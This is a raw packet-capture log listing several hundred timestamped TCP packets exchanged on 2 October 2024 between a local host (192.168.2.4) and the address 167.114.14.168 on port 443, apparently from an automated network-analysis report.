Oct 2, 2024 06:10:17.459323883 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.459342003 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.459410906 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.459417105 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.470227003 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.470246077 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.470300913 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.470305920 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.523646116 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.547326088 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.547341108 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.547411919 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.547420979 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.547485113 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.547550917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.547568083 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.547636986 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.547641993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.547693968 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.547805071 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.547821045 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.547883987 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.547889948 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.547965050 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.549273014 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.549290895 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.549366951 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.549371958 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.549470901 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.549535036 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.549554110 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.549599886 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.549604893 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.549649954 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.549793005 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.549808979 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.549856901 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.549861908 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.549881935 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.549894094 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.550061941 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.550079107 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.550112963 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.550117970 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.550147057 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.550157070 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.560960054 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.560976028 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.561022997 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.561028004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.561055899 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.561077118 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.637842894 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.637861967 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.637943029 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.637948990 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.637998104 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.638313055 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.638329029 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.638375044 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.638381004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.638520956 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.638540030 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.638573885 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.638578892 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.638597012 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.638622046 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.639929056 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.639944077 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.639991999 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.639996052 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.640235901 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.640253067 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.640290022 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.640294075 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.640320063 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.640346050 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.640373945 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.640563965 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.640579939 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.640621901 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.640625954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.640826941 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.640845060 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.640878916 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.640883923 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.640918970 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.640930891 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.651777983 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.651791096 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.651861906 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.651868105 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.653749943 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.728607893 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.728626966 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.728691101 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.728698015 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.729074001 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.729094028 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.729129076 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.729134083 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.729156017 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.729188919 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.729306936 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.729321003 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.729365110 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.729368925 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.729378939 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.729406118 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.730742931 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.730757952 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.730819941 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.730824947 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.730870962 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.730926037 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.730942011 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.730983019 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.730988026 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.731010914 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.731029034 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.731352091 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.731368065 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.731404066 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.731410027 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.731442928 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.731460094 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.731606960 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.731621027 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.731667995 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.731673002 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.731698036 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.731726885 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.742465973 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.742487907 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.742528915 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.742536068 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.742544889 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.742574930 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.819411993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.819427013 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.819509029 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.819514036 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.819562912 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.819998026 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.820013046 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.820063114 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.820066929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.820075989 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.820096016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.820132971 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.820137978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.820162058 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.820188046 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.821235895 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.821252108 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.821305037 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.821309090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.821321011 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.821347952 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.821546078 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.821561098 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.821609020 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.821614027 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.821960926 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.822026014 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.822041988 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.822092056 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.822097063 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.822127104 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.822314024 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.822329044 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.822385073 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.822390079 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.822419882 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.822438002 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.822788000 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.833235979 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.833254099 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.833332062 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.833338976 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.833384037 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.910424948 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.910442114 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.910506964 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.910523891 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.910695076 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.910839081 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.910868883 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.910902977 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.910907030 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.910936117 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.910954952 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.911233902 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.911250114 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.911278963 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.911318064 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.911322117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.911381960 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.912206888 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.912223101 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.912269115 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.912273884 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.912311077 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.912523031 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.912539959 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.912587881 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.912594080 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.912631989 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.913017988 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.913039923 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.913079977 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.913084984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.913120985 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.913211107 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.913382053 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.913398027 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.913444996 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.913454056 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.913471937 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.913495064 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.923954964 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.923969984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.924040079 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:17.924045086 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:17.924283981 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.001127005 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.001142979 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.001250982 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.001259089 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.001295090 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.001550913 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.001565933 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.001606941 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.001611948 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.001647949 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.001674891 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.001923084 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.001939058 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.002068043 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.002073050 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.002154112 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.002726078 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.002741098 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.002774954 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.002779961 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.002818108 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.002839088 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.003134012 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.003148079 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.003184080 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.003190994 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.003212929 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.003232956 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.003726006 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.003743887 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.003772974 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.003777981 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.003812075 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.003829956 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.004029036 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.004045010 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.004076958 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.004081011 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.004106045 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.004127979 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.014713049 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.014729977 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.014795065 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.014800072 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.017030954 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.092051029 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.092070103 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.092164040 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.092171907 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.092186928 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.092205048 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.092246056 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.092250109 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.092262030 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.092298985 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.092559099 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.092573881 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.092648029 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.092653036 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.092735052 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.093456984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.093472958 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.093537092 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.093540907 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.093626022 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.093852997 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.093873978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.093986034 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.093986034 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.093993902 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.094033003 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.094599962 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.094616890 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.094681978 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.094687939 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.094923973 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.094954014 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.094969988 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.095001936 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.095005989 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.095037937 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.095055103 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.105439901 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.105457067 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.105520964 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.105531931 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.105576992 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.182563066 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.182579994 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.182672977 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.182697058 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.182756901 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.182868004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.182884932 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.182945967 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.182951927 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.183130026 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.183221102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.183240891 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.183276892 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.183281898 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.183321953 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.184298992 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.184318066 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.184360981 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.184365034 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:18.184391022 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:18.184416056 CEST	49744	443	192.168.2.4	167.114.14.168
